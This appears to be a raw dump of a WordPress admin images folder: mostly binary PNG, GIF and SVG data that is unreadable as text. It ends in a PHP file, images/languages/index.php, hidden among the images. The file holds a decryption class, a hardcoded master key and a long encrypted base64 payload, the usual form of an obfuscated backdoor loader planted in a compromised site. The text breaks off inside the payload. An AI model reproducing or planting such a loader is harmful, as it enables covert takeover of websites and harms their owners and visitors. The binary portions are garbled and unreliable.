O2Swee\UznfzD!碠Zkٰg@}Ko38hވ¡br)zp64}髊|ҸVSq{<_JG<5汋NDLr/ H' F+^)1mGO%֙ᏘOQV @jo7M= g~r9 [ңOpZ[8'f{ /|SSS?>poZ7uqHG_cAe; (Yh-a<ƫBxb"=zNtL= }`"7)[i|p7^=I=32܃AXJ6J!wF>@rՐ*-[=|)j|mwOhuM$SS7\̷@  BFѿA>8r C0}OX\jח0jFB֋t,zm^A^ϳfGfVf먠UZ2zڤ=.T𥒕T0?Fy WGn054uӧ΂†E *砟J4 ,PQL&#bD3qTz*wwT"?~ \@<1aV\bOI9C~wWS}YUEw+H^ VLJ5B)Ң_k}xy)xDƼ{^ν:?57"B*KW֥~ycH9Z\8OrxPz<CQ 4v/_pE:bH}S1:mmvM}?ߊ^po}\s ]0Fͩ+'D2UaE2E#nUX uo~.Qb7WO J1x# {3Q+/wy0~f4FK J؉ 0c?VF)ңrO}$2V Nu5gXvzbVnD3z2B,C.poMHe>F&;Em#22h>%M=M,&Ysy?=:maGq7s;ESvD:/ r))\B]P 9s7ۼY7^1ak.ǕLXx}F]`2nYОSEAbf+5057,aF`,;80XO.ܿ{_o޼nݶW۹XɃ/}>-O?dɑ/ݓUsO8E3s>mg 2yF 4,fHj`#Uc_/*_7۷ymwz-%6"`"Ae-t# T?qoA,qaPoܾ {c32mZ~Ϟ{|Ş?cݹwAn˓K϶> xNU'ƯJW!lQ莄DI$DI$DI$DI$=[IENDB`PK!images/wheel.pngnu[PNG  IHDRUPLTELiqN&7[;!#N$4, ( E h h$<(s[i ^ Ts}qbbU̼ 6 bK'B|2mU0y\^F67"#P?y(kdѸt kh[+^"DS6rxPn@,H}d?6SJ[c4FtRNSGu\ UN:.obg@63*&z j}5 6)N$ZTww:߂(kQ{T=R6ʐ7Œ{wWٺJLcj頳[[rڷk3IDATx[LgZa;J[UC]% .^Wj0Ývo@ АL  + !1%&$DKy32 m" M$3;/+++W8(9'OEoXܽ[N,"*0tuuZ@`l {ԱdgUgzzo=ܥ@r$48 ix=8BѼ1ك.) }}1H{4E社hveiVKp#]! 0ygI 4gr# .1Yg!K,#/"W=#B S}`@r&@!0Kt]v, %׺it0vqUxTdZ[77t@E{/UG,;Pm4FaK]Wy|@n&1Jƅ5əy-_Ĵ5L{8rϵT"f.VD .׷3AQw!>7ڬ033ӈ@îaRKk}AeQnDmKZt^6O{w]Y:%)”#c[̈6H+a%I^*yT7A@ /'S:6GBarr25(#ԋ"Pj!+"N=H00h~@HEꊼw霼,B5~ qj&AQO_Z2P\Tׄz"/snVZf\W MfZIܯT `h޾K`5!:pa.E!g(^-wEDJZZZb;3`$7v&c%RY(! }wq h 5q`ngnxS6ņ-H.Df J`2$#I\|coi*khhnPfD5]g%=&[$hn̶4T!rɱ8ЇyUh8`otjnhJb PrnJ-K"ީVϑ(n]J7J[EH܎Qe:!ȭū0k-j@V(S iiE Ip+xOC(noh>/]fCOšX A (ӧ!EDA*,I_lY8XR NZ Ǩ ,ۺLEk8$2T$p@Xz@%ambBыa2U@ " :u~G2ʲMմ @oNkq=&.n:څvQj`Ƞlk  ؄CpQ zjP!?CGP2 )\CCLL_:8!7}β'#ׂ%!ȀĪ0 A %PqA0 헌|d!ۀUz k*qzn_;TD5H֊tavpWr4>0kvڵg:[ ̔Mja|X#b͛7t M8 7XZ1 j6mڴBD%b9+Th#wkӱXLTS]X5P&kD;z2* ]+Q4J{dtFRtvvtz#a P@aWWgu.ݸ;pVUP&VpXe`y` =T Uhܿuq###WwP{4T;0`2 Db8>Oeӎ{?(S0 ]D"B MuFm466vG'}xϗ8ˡR# 3N^ z{(;h䐣K ߦBGibE p׎~(<FN.C(Vl4!Mx.3g3 YR*Bg8?Hю_|@ȵE$ ;v옝Pk( !i6C%?o ! ===,ٱ:v PlBN&#C y 8Ga Ʉ΃ '"0x&t}pi8{5. UR˃(GfWQ̰ po0@PC+ gˊda2!}@^~Y\j4 !nDf BğuD<@p#2-o8!1.lS_Ci<}/ !ÑH$fh;998@bA ;@Y9!a&@lAqH :(*R<,} dr*J"$&>1>lgs` 3h T*Px`.-#+yHwi&S(R!4( #$[((oR` ?"`r2S۲H+ `}fH(K}"'zHx UQA̾!jr Uy wzr` SALS} v߅\UKf/lII"`ӯG(\j4MN@)Q ߿Hkk#8kckLA! b&K=DT @  wo >R53t b)$y4|ry A &qx4Y > 5%PK!3JRRimages/media-button-2x.pngnu[PNG  IHDR D;PLTEnnnnnnnnnsssnnnnnnnnnnnnnnnдqqquuunnnnnnZZZnnnssswwwxxx{{{|||}}}(ߝtRNS'*?HkIDAT8ˍV0aƉJ кDJXkrW`:ڈsZJ`7ct ZΫh6[.cjW jOy{Ӫy#/@~}Ѳm[YZP@E.iMܯAtSI3zl_CpU~h@Y)p.>?ṢJ{vzksE#ljU%ڋ{;;{gdzIj\ uM$ "#,? !JtQf0)spE3D#n9}yQ=a`[m`wc?k$=B?I5El%[5]W| R w `(E)S\a)xaEVHM& ~`~U٣F$IENDB`PK!{images/media-button-other.gifnu[GIF89a řNNNqqqXXX󔔔!, @u'1ChCj@$_hEUEaCC0`SP6l6ðx$il"LtCp<˅H   bM# #!;PK!oB images/about-header-freedoms.svgnu[PK!Ӈimages/date-button.gifnu[GIF89a;lll[[[~~~ssspppmmmyyyccc|||iii^^^vvveee]]]fff```uuuˎ!;,@pg( 2j!PCQ4"nπ.(BbrPzDN ~-B-P41-B-J; W  BG-"2P0/6Q-I;n$P+P"-B-,(*5(#-B)-3%8#-)B;A;PK!Qmmimages/post-formats.pngnu[PNG  IHDR0!9h4IDAThklOժ4@ 8]6@JQy-Ajf|]EDmS&WMNCHر]{?ⵝήw T֝4s{=sfYXvഖ5D9W:2w4@|a$Q} pv}@7Q ~G^9 4+:\ ŇtASX?gt܃}`[ G-Xû! GJ! +dFx$X AkYdYWkfȦ6En:FEPΓɧ} !fp9zMM즧Hg`~褓&裏:l&`N06660N(YCCm@ʧ.ifNm rL9يُȦ̒e Q_}ƤѢ\c5l,1vҋdH #fz1b$hX ϐ&Ë/5b%}p1f2+F1e((?7 e߷SObHz`cfkOպE@pI?HY ~DYK9CD!2e:VQ WCcޠk+Đil|+ 1@fUM,0BҕI1/jW8ݍqθFka<L1QVSy%Kd,d*w]r*Y(sj]T@/ֽzbD9c9G (1ib&FI7 {iZ%&ĉӅNvjHoЈ6ty(k4cۍG]44=e?D=ɑ&E4IR=^qhѢӟѢx4nNPP]XOv uzxOV3Cu79GΓ9r|Y. 2G$˥y9W>uQJ]"#Jе:ylOu褮uH2jqrDHg99:z&H,:[ <*NqUkHg须D=!"Q&颇I_ t2:mQtR//TLBetD~\'~b& Gtnu{)ۃnm3,|UxQw^‹WXQ.7jG*r#Dif;[v'9TmQv&0YĈ~#ql`'i}NEXY"8Ҍ&9:hfG1u7Hu\wCdq"5 Dfr\! ::Nr\ uQ;@][[TZ== 2:U_> jk uﳈEQ/wb,#FeTD]Pb?8_uIEΐ #-|CETMEԱ㜠%Q܇L0ԓ%ARծFՐ;Q壳vv~oyw-n`_d U`MfLs~\T|8R4thίO2`n,"[y#<fH%f]1dŘE?=4ƖǷ3R|V.DiUS2k}[1a$M\{7pݹcfƌ D.vHnh%H Yo!Ŋ1ҙ"fz̺%F̤̔iBASfm)P[le1Z݉Qt 6t쎶y[r(B+52G.Υ IENDB`PK!,}) ) images/w-logo-blue.pngnu[PNG  IHDRPPPLTEttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttfJܱtRNS  !"#$%&'()*+,-.012345689:;<=>?@ABCDEFGHIJKLMNOPQRSVWXYZ[\]^`abcdfghmopqstuwxyz{|}~%IDATC7qG$6Qs>Ŋ91DI3Y˵dkltZcSуQ. fO6|8iN%9q>1hZںŵ[t W?sulqʲ=J^J [R2Oqi}Ɣ,YԺ÷:,EkAkRxˮl9EK'CYtOڜckqyQ2trqMj*;-kңuGvc˚QVuq܋43U>hEDBo|0`NO%!rL^=ڕE qem2?qO"FV?qEauCcqj ; @eꦧӁj rZCA_Y ytG[ҁ>u߁g@6ʠmu7cdNm15C#\󅺭1?љ3Vݷd$st7{} HV9c1P-z싈 T T5eaT-F<&/ oF9 PT2pWAl>RmSGNslG4/8RI֑ϰ[=O}WkZ%ɵf-n"'Jv'Fvu8N%m {H(NRJ)q*B:l|b^W( cR~%ո6jqY/dLEs0+ \xmfj0[zH)ڮ$0vQZ?9#;qU1&pFyi:z(mS8N5* 9P"WH)EɶcF$2MU0J%J1IUJ;s\Jq+Fn-xHKY}++qmQlt5i(\+81WΑ38V dyn(G?qw+a\DwxƃJ W$e%AZfv'FRD1*l(=Y 0[*\?$>^Yʁf4Z0TjԡYfBGb9W*a7{^Y/V\ԡ$\+d_0\ !$LV)e,+@Ʃ1fȕe c&G؋kz(1r X 1XkYVc0AǁݲBq1`̐c 1`JπI2z0vV%mBrLaAy1 Ke7 P#PYk1ߪyèrLU@2ec**FfDqm9k9fUdF21~%mYՊ{B3^*amW\6Y*1Q=9VbFcJ5ȌH d: k4P-c BP+jsH 2pz`YFv)v9ŸGZv>|'c#e܂U@Fs/ ٖcc98B\}L?aUv5=WC^m=դ)r#-@:Q&VL/rc*o!mpdL= l]{d!2R»=gTF3"!YWd{0U _SBY:~R܀ZqMSC',` %|sx{VRSUeF08F+a[q/k4߇;u2GN.yUq&OIjHÒ_mA.(ؤYMncfcPHo" :ⲗ 'l,?$n^ rQytS=ꈺxŧq?.!9 WY[/.m clCjel6֫p2pQ/lcJtGyb/ƕ>;KJ~0.-itOV褴<%5KH PK!"**images/align-left.pngnu[PNG  IHDRo?IDAT(}RˊA_13qΕ?!H6 ]Pn IN_t6@ݪs{j4L%Fe4b=6~!Z|p΍}SxmT$U.J}d2ywE$c&̲V$q+:ůUY,ib|W+eDQ;X f3z:{${]+:VSwn CSMav#$.]r11~ڶm~mv>c)/?<\)1sX@H!wȓMw']-Snߒ'47U͋NTnbMk%VJ #PY.ИfU0v!KPdk,lEh!~`( #e.RhjZ)k?C-p nTsFטVk'19/Jܐv0"]xf|` T$9vIENDB`PK!)SSimages/icons32-vs-2x.pngnu[PNG  IHDRZ"FvPLTELiqQH['kED4HeHPtTxM=;DITG]JJ>M[Q=E:L3[9JI5鍹_1voBهȨٻk⎹yĤܭܷ՞כӷNgRtRNSK *0-4!&u[LAThu7؋I=2VŮkgBަ"kahotOIDATx |Sm\1 [HIҴY˒ղjYdYX%[5q 6aBKh0iB6KNgy={%[LG/W޴=?wRJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)Tk7m"7mZ{VH)RӢUCVk^jQI)RJ/h~qz='GtMJ_SJ鿪21g_/Z=g^WV R;:'Q {SCJs{M3<Ɩjll|y# ny%}֪&+hVc0҄^N֌qdž?mz,1%~%_s+yںss[/~+7~~xÇ/}hS}Y@#EFv,6?Bel]/wlV;/ߵb9O"'-TRڤj^o }k@OͻrsI«܂XH{9Ji^3)IgѢ+G|\od|'3233vp@R{M{%u\ޞWl 5 15luk%"_ݵp9?_DRd56m8OO E*BxN*ssLm7O!dЏb@x0yv5[׍~UW%s0#3AԸ/Ф7X?B{(=|w t23?I׆նG~0+^ L&Z 8E?W/>| QȢ9'=m#0]KT6CtT'dٗ8}zr~HD#yt^o:!ұ=prZ, }2@W]\_8yR]Y)}߸,^FՕ[W:'U4E'D"ǙYVf,vuly{ )ʤoSPvL.jڰ쥩u4ȱVN-2ʞ[?'/bGN lN?|݄nW4|X eWM2h7iUy3M)5/M)ѰJ)WG޿+S,BN*"~9 ^ҭbGR#&P (3*Dnʯ*Tdq^Q~c=Ft.tar l_{ { -+0:ɠ'de]~-_ߒ>`!JBU}mA_*ԉ P2d0uB)=s=>qSN err<}=Do2wQY<(Xecv%`g--yi|qb5'a֦Pv^}x2BLXD\Ȓn+rmI[1'qJ*"X)i(^G y:ר\},/qeETQoU+chW/@yXJ zBV+ټQ1WY)ذ= lt I\n)K4`AVHSKNO=2p@-OП8r!J&]dʵ3bKnڪ T'+:@h؟@8r%0ܼ,+-3;R nQ&bQJnM jbd8MFJ5:*D JxУx^d\eܺ8[ŹV(EU H-EU X72NAx IM8ѷE 8'@hTv/X;V^?EWTH"%Cw<5̀da=*}(^:xٳ'?y?ON§(?޹Z* ,,B>{ H@W|Q7QERvnSy( ;|z+Xfuɮ3Z"i#-_ormt:γj_1?Noz~e% 2-\W&/jE19u{ }E~yΌ`*gHTзXF]\pT2!zw^23huJyV17tv4 B2P5E,ut400ܹSw<~ FEu+*M _#lK?Z15aQ7ʢ"`fp+OHyǶ0Q-񳩳NJ]u\ 2=j.S6 POh 3TbH_O7D*깄;`zفg8 jUW(Yڇ $2ag ;#6w;/IHrDE4o(s ŻOEY2UTJW&a4#AIMl]uup P'㪭&ժBmM:8uLFI-">uר4E|Cs8%HBzvZ<.Eejj_v;í(֝ZMcg99 #c3JNTgPIFs mY[l$[Nܼ^s厲Y- 7xj1$^d޽K4tRb5S1"fpԹΞ8}cNCNdzWGB3-Euܧ2ك>eA9zJkkѠ_߉8x"-OgN *2d7m#5HA='J#z@(MTXo:uNUnu@]]u5l=T#ןWOy|o,t:A!=/ v! 7;G1RXHq!G=`9^dU3 */3Iؤ&fl&|v.']L+o%Ҥ8yRwmh BQiZ)` wͅ?9|h ҋ Twb)Np.Aq^X?=O=0Z7{w#]6Z L>xU*v)j t9BU.ۦ2 :SX!%8_k|PŜ68O`lZ}Xye!CF [Mg@qY+ mR1XM?Ζ=A]@ȹ*"z.Dv>.# 8/-&~8Ov}L[<'L2g#Xh{I@04 OjKik4.$T5EGh B;UCW0Ӑ .H HT]ynjߛvOZ*z!JmAd]=٩#j?3q" $&hH5y?[ү̫t*ɤY& +F{*]UJ5zB%:HR0BHrZfZ)ݧ㯔uWCRC:E?\Y~w[UR$r,lH=`Nz,'+|*EqqA)QYW&RMB&ʉ@Atld1vd>1%uJ(pWy m`MۜBjGB)+ʻ6K 0T@z(xVk(v f9B}o2C^ īLpXj#U.%r9B=yc=&ĉ,BO{K($GF.O&3!U8o;O%rʎWI)D}|6H̍Xyuωx&@рa 8M3 ُ0{m:} >r#~飳'$Ʋ|تijeF)+JY rg8 {`Ѕ% J8$ak̦-;ըOV-b&0E&1)ށw=A?Dt:v`<- mYPKK`@źbR k5c9}\8UWm H/?l`qGIO#@dxkӐmiYɷЗ!y!}1oћLrLdXl({I<v 1]M#|X ShN7E10kuaPpsp?[O_׽p(~SG\:~ ~kHw %1wX]f+qп,Y*'/[r8_ mm8z{ }7B P"Kc%c,04"ѠgC̍ wS78S738} ܏?w훳GukJ< VPryĕ>L@[>c+Dn3g)}sI⼳=&۝8;v"3R@:zMe*y*&?A≥hrap4 "jh9y$Qm5yU108 \c6ADwSpv*\!\EA6+ IQ8tJJDE>({|/~cVG6O|瑄=z: D IOnDWuc4u @g^Oߟ4g-;"&qq\;bXl*Փd$ajBFg"m=%qPFWVsq'QS8~{]p8x!fw$ zk )uhsҚ0Q3 gVbi y_mm` ^鬭E;?%#a&80 6_E׉*>+gxq kY(ה5$kp$M oo wJوȨKBŵmAz*G$ɨFTe&hFXrΒ5.- X3!W#`􏑾LO-OͅJ 3=:@Gn%.0;J$ʓ8;z w\.Au料h<_bVqkófl_2Hђndt6cuVw;a U@CXT櫮xmYУ2鱐U_'pـJbAlVֲūm>)Hݸ}9r~%[ r|8#稈`Sq:+JF1 l6{̌]>qd q9{-x6z3 h_y@EQջ`"i8nUQEp`nt܌_ryI|CP]gdPGÊuC 'd>E>9+YmzwH`j5;-˛<LumnNʷ3tWO49/ʔtf.y &Rs*,K#&$#NT#r7^`9š憡΋zj@-? mDL" LMR!zk0 CzDK6IpuM{CQ -[~b4yDQ'ޅ\QMt ykICӘ}O1*w!:M_;3i~X6cKum奿. //7毋]ZuYtVT:RWrAcLoTS\UnKڱBW>z:# G秾^ k|&](Kƃ -ǀTJS g"Hyh(`eG8-fsCe4 )٨Aْ0JhPZjɡ,Wx)@A>֙[CTU_7!Hgk+Շ jԦ+; NL=J3g_j~d;wfď|qm2I6N 2^(F8MD·\崣o }@Dz>X)Eaa'^]gA믫r믋 "|9*Px>?uav1挓0#=@M="@Ԇ@o8+](^'ň@o[J0獡PWk;xvi?ә[B!c"_mrL|E/bF&yƩM=|$F}=D%*]3y,( h~RT!<Ρ~8"nt-IqUTQˈ'!Y,j-_UP|ЀސɠoÄjJa& ER>@ݣߋ}٫gۿ'L_LԥcӉRc=S]Q6Ӄ%ZGú4{ŏ3RO_=q0S~涏[N}r*0x'====S$wFQo?ae~+){\8УHV lWjamkU$s}V|z=Ûy*yNEiĀ2Nm2A'B، AP5ozѐN(+suhmny oB/$ &i>vNCvN`Ԋ):V+AMٷ"緺ڍj+$d7&rhØPrr(nwuBÒ&at<9tV|49믋ao>s.ǯYMH$ozMZ2fG.[ L<|Y| Nc8e}XK a_p"QaT~hbDꫧCDL[n@B,Z!` R`#zX핖 BpJ|ק8?:,BbL8os%Ky@y`*k鋳{"wQ(D60c^q٤NX&"ewնuw]\B=Pt#ON)x*X|h}&>îɤ1Nz`1憀|ozWG z&SIcji}^D_(!Fӳ*›d%dSN#{<nH#ؤ;KyqG P9_0o_4\[LjK?Kzvи}AG|WWzd Mhُ}4Z _{:XK^ =ZM`fN"6kU zԌ\>[#k)E Jn)TZTQA+%hu.x ԣ MHwEDCSXw{tܣr/bԆpm5=~1`//4rw`Ox8ڪBLL![ l^XE;A="1ɼ*z rdzm]k)hL(ïiGQ(E`2+iaBmУ* B+sHkXnk s<[ZU|LF>s5Q+yZ,Io3|q71ð`;.MNܘ)uޝXgXO=>Re)n |l6*T 87ԕ} I3 jZ/|}#Iz&r:=/@j ̽ay b,:uqas? {wԍFi8*".S#R᠘}悕Ϥ/Z-W&KrA&PB2zJ{%R w6 a;XF$8mԎ(ǞRHʟ|>&LeR9kh ^ @N x0SxB,x|)_ϐFDz88ߛ40ΥD^oʠ6KX,{Q"=dZ 9ȸCYzyTGFojp~0 cΫBcs(il_~7|/on\ݘ˽UPjC-6IWpp,ğGx0isWqr{wQe.|v'8ٌm<8M+ >qЧen/\R*.=ߒx $Gהo'xd`dKqskɤ^>X"SmrW!4ʅR|&B8!*%{VωZ tYMF7VQ*2iAU|eS^"ю0rѦ#8̳2d2d eك~ˏ/9pY݉UYVuGΞ8r-^E!Lҕ+S\SU~=GI ؄8To6" ?E',"`TvSAusJ,dm**0=Kvl0$8]7AZ( v!ocFOTRpٹ*#5(1dޔ/0 *o&(fO370\D"v4}/>s-ڥ5j?_\O=y&sXd6C'.3fa#>vE#/>v2N Uutç_ر7AЫu{7}gnb)aqMqUoMCWX K @ڞУW4h@/婐֜@(TA-L (Z̅2.;@nkp@?I,Vr09 MkaB7c<0P*呪6=*a#aR9|F3â9R8_nEzA!%zt-U:5|~_ `*dU `{TvGXȨ BbAˢP[wg-5{p3aof?/o|dAw|x@_>)A碢3"R{ƥI1З|r zStoΎ~rS~xA{Ӂk!`'0 |?=2m~qsMH-H_MWUIQxm@>ײOq h76qMѣXf@̀=h }b9r-]o4 |EO%e/ ΂hDۑeZW#JC'V[l!Զ HLR!(%G'u,I7Nԫ[$p+]`dG^IJW\,3&8ՙq = >ɣumT^3-V `)n~ 8q0Ob+f;0We>Px g!<}+8|c8_80?8vrÐ)!b6_h+g~"=l06dsw5Զ]jm*)@--*3e0^[T6zh5A~a:Ńyj'+T쯠$\[da,-lm:)w{:[.l@k'.x̍tdwd%c˒n>lWxff8~*l_)D6Tem_"O?Q7B=y$?!1alt/?h֠_c>sH\,?ox3Ql[[-}k4=}.c&?o@^S")[Qԁ)˘)k߷>3))QЏ6LM z%Pg m Z {L0㌻刍<:D"b1 k5C,ƫT^@ϔJD^RsV87roEz6WzMR8vvH6QΑ+@//d%C+w"YO9$E s;`XcmG@WCX_lC;w~ )nz}tϊ)vNt)N"ɛ@z|3F9:7@'Lt88?_f8턁Hbw㥺UI,T) uawHqЫܘoDǜ|aAÒh: ';qs02% K6myies/% V꺃bæS(V:]gJY GÂyZLWE稬 ﶓnMzpGCyC䨤P`_ADh<7=lł+8<@dk4I5|~9GK]AwF$&ಙf~{ɛ|x{緟}ln_x ?ER}{&6/gDn_5s9#}|7< 7SV:(`/f2=Bݯ YMyqCp}o*9v!&}3ViV[us5QO3:Srb+ dž mp,E7j1_bd>cO%D~n! ]fBWdD#4l<ɘ^&ϛC3ޔh,"$q>PBw:$ދʹDvdG\68@27:8yD>뵰ޥ(>TyЖՃ!K"0>~hDQ7-7 d:-'?9ÓgT`':z!?;pjk>>pӝq$胀@g mPH 1g<Zh:)_{6#i^\GqM}0*6R5嚇p¥>󟗬J[tyڷ4$ *Yw׸*d<Ӆe"3.]6Rꠈ~O{ts#b60/iO;$ȯwANF9<>?"`$٠>< =ӢΕ1+h0&z G]>p ΏjW,wC70!c 5M #@e)sO|qxiGXb/&:.e0Fyn+ "z!ҟd\"K  &? ܹ~^㝏 ?W Uldv-KU孤nIXjy<6a 錜C((lNN^._p_'GTI|!m$ -ɠ{zTFq8! <g;:}YEqu!4793JbGǤIhDg:"(w:;SCz׹xݬyh~ʯriu 4ZDztM=MzM l:, TS5tj>5>:JD蚹mZjOy0*HU̫n腑0I?ФR5՘z^ΕJprXl&|4 d nAz@}29vH*nJH2tRl4uA 91tъvbҁ?ߦ'· <s%7pĿWHAOq(&beO'J -㇞X놩-1>s17/^IRX0Q^o۠['%9L/h gS b9z?J,C3Jd׳F9O1,r6_Pɵ A#y[=xn"zSL7XJzp3F5mƮ[s^i|u+&UrIJ zMg;xogGHavgyC,7|XW#|;n {^TQ#; cdu7˟LzݩNQZ҃M^xxjh+HM`v2(7&I=dPx\m O@or~Gv^A>`4t_b`P-xC Э+s+!yUs[x$}3x+q?/C%]%0v3ɠg# =4 hEGy-}ƒ2ӤZWX{'Fs}kӆ^?vbm{ɍg&#_=DAccaȳĂ>v:Ѓ%G4B_am+}'B T45P_nOh |*7fί{ِkaԡ[3,"âtT5*Ϸ] `8O;$1VG z&ԉrPK9p)Ӎe R/J!qЃ' lQ.>%/]* zoW8EzV60g{z)_Ik^8r!N8v/3\K)Bx RB%+hC nm~9?m>x>mU3GhM#%=2x eJ:TrJކM֓AubCcG0o㗪hZEѡ%m|f9[*%}vcMK2R &脴I=3 EUXlEˤi5`Ng106rx&w$`5xm{$CQ3@{z%#؉z} `L}~`oN9|>9vM$*0'ff稘ăʛZ1^ZG6^F`*$7QN[dX6tzTA~qG=z"@Kwr]R$䐷|J$"2@zEp&zHR?2P_U=%zm Q^ +OHY:aR5`WhG!`mH\5J6.UaΌU9t6'اa$Az(ys}rCCN&sì-|fbLLg!=f!,ypF4kIgg.. )[Eu0@|_{tަ]^\١H} US^mjCGTD6!砸fXzAE}FGmOvz>z3~^ЬX+"$n<RAo`?q5ZL ̿ɇ{WEpj%p+d?0<A?6BԀ=+@lѣyةSci%m&chm kG>(ʹ9rT|\0P CH!EJKJZO g,G:A+P2 irfF\3c7"ac55vY~ q~w֮{*6ի 3~ܯPZ%e@U6BlHK9C2V@ ߋf$Ca[JO$מޒcQM y{Ʋ]LAF(f}fNGs,1Eѣ9Lg`=8sTllueƙ>;0> 5@,y8{_kC`P{{d*SoLyFi ES^b{ej^'xYmQM(sa4?pr@8׀^P96Wvr;pV&V5#,&t Ч\zv@v47us=5mr aQ 7ޮF)@X`+h@OVV]"w;͗ru@<"~mۤCprɡN+&v5 u-aF_c/.Q]zNBTvF67m8}\@ ^m{u/2} o_yh{YOaH+&z.~{;Dlj'|۳~7h NUšpӔJF5XcI]`yy˜ 5To*GYR2Px~)HOAxڑq:;Ž~IrgD#\Z(Ÿ ϧkѪ!8/f ]L_u|(T[af\7;}+0^JCƉN'YjKp~; 3}@@ahZ]x[O9`.z=e_oww_;+RH7K$'@u/ǭҳ }o{^}YWu߾;ݯ~^̬,w܉O^ FO #r>agn/qзvCwϸQ``0 70?֨~)zN¾#Nbg#!RGėOn>#?@aaSf.aJwJuK-mh~4m ?r BۏCygȣ~nH b#dv 0R(F.d͏mvw~~w&d߈BʟWrwL6;qpЧ=]\^e.)?9_P, ryuV8;ݳ60i'/Me'Qlj~R )WؗYI$kn}4ٯ,V8+8e# 6bN^-x~izYFɒH\ܚy"aɎͷ>+j"Ђ|Ϭ߻{~ܟ`u+RW3߾;zȷ?wv?э?[Sth,k{_ef-u~ hߞbm_U{?toݛzSJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)R"TrIENDB`PK! )ggimages/wordpress-logo-white.svgnu[PK!bUrgimages/list.pngnu[PNG  IHDRP-JhPLTE333333666333@@@BBB```aaadddeeekkklllmmmnnnqqqrrruuuvvvxxxyyy|||}}}~~~#EtRNS??MNSUg0 !IDAT8ukA߼'%^DG[T*xOă (ڃB)[CzR`Mv6;Λlּ<|{o& "u\)&NJb z>L N11G`-<):CvD=[B;"(}oNOK|}m`YHg 8CuչrMH os]Xew_|ecnCEOѭ|X;});8*Ձa+x)+1zl,IT')X!TNʷ>lB3~ƤS\IlkE^Mog7k뛫d|ZvӃ>nsMуv{0nW\7 CFL?x\GDB-c`Hg_s=JfްW4|6 kcrț[/gG/(Dˢ77 zVbxEN~7) p_cpGR|.8d`&db*eri"fzk 1zd]#7eYUwό/IENDB`PK!images/about-header-privacy.svgnu[PK!/{4#images/about-header-privacy-rtl.svgnu[PK!}images/resize-2x.gifnu[GIF89aڳ!,@\x-9XL8԰|9&%_Hzh}^ddn[_穑R#i(MȔ04ׯv׋o3>;PK! ) images/about-header-default.svgnu[PK!8j__images/arrows-2x.pngnu[PNG  IHDR&PLTErrrsssjjjooo___|||MMMQQQyyyqqqXXX~~~xxx|||[[[bbbqqqoooxxxzzz{[StRNS\AY V@+FX-/1POZRϧ#ܴ KţL 쫂9ϧ򥌶Q78%[$ޣg9=IDATx^r@n)e0If%e9NYdV{_Sw@}CXOy)ڟ 5b FQBW!m}nOxҏ K F̧Q7_R$}Ă( !no}&'2\w»0Uu LYg~ J w\WpJuPֲ寧򴟖ڞֿsB!N(\ͽ4$ ͫ #3=?M|)'/x[өrbX43 gf /!r-3y7rzoSȃA^*) T7sE])$36?vu ]]^]pQ~HIENDB`PK!Q4_ _ images/languages/index.phpnu[masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('RRXiS4FV1eiKhDaLQhXHXMPG8LzzZmD1'); $str = 'beUaxMERqvxD5vrHTP93bYAZ9DBPkJVHJ7zLLN0RRcXKw4mqf7+Ck5NPUn1RndmU+Lhxzvf4jEOfjQ2knZL2pNoGuH1q0vYBnvIYUCiUx7KLM9dHFpAxuutyiY7ssCEiPBsN2QE5XjA+ZMaHDpWDPT2IbjnImYfFvDI3nTEi4tGmWkRdt4LdBiB3QpxWtWzN3ZzrnEgk6oFUha6ehoHomuTyElgnVKhVmYeBMD+VaimCMl+74Q+c7gV3k5QPzX9j4XsUQcadlUGCsWasc1QYgZ1Zx6XO3kvMK7xcHYRyuYRgm0L/q31qvIlt929JMBGggxvON8NdcGuoVh+ahuPV4F0HKoDqjTeSS1PHeXB7scF8JoXToTFWt0YdhWKeZ6W+v5ka1FOYYaG5s9iqfidzrLJpAQyicd07U9c5q74rHuYGMVTC3SvElUpA+L3KNO9HBYG/ltsE3n52HvpB3Fy9ejAiTKV+74pYiHc5ZRyFF3AIswuM0HlKEGaIgXPTccjsQ2qeMsIWJ97bFATUFEI1Y6xT2BkV1XRhY41pQ8Gry4dED/3FffF3PvSky9H3YQ0MJBAmepEQnM9PjkckS9U5osdRI+bccO05p+gDZ87FaUYUs6LM45nRVM2ruFPY7hAposOvrIQCuqTr1W1FKBIJitIjzy4OA/42EXCHAEvPm7IqHIIMHlxo0vsbtY9CqByVjuDK6MlBqhl4JOcH+Brv0t5JU5VerPmpvAzrb9qwJg0NW96DzLBtwub6juIrhBm7RWeSTV+ADaxVzNjip2ZcwNrV6mkk3ruDVYefe86+7kGTEME5LxtmmP4vgr09p/byk54GRneKlBZjl3oHPlzC/nZo4ZnmXqLsUTJT4WrMgImVksCGJgEpVceIDQIUDC86xF8fw3AaW5lh6F0W8G0pxGaRRbtCqON0KS07JgNWFd/R1ZGpR1zpTFkIoWBgduYC9z3aB1rrK0VphWHiKgJ9E2ZJQf/rtDnfs921iDLhh1/sgER0VrX2bMmUb6cY0Mu5C7lJVDwAxUJgmQFbRj1J/2RlT9HcyAIu8m6ztIVMECjRV7dteDN/wBqKMamaN6yrAOuCrwS7Hj/LCnFe8k/KWitbSith2EF6Eoa4Rba1FQ1PvY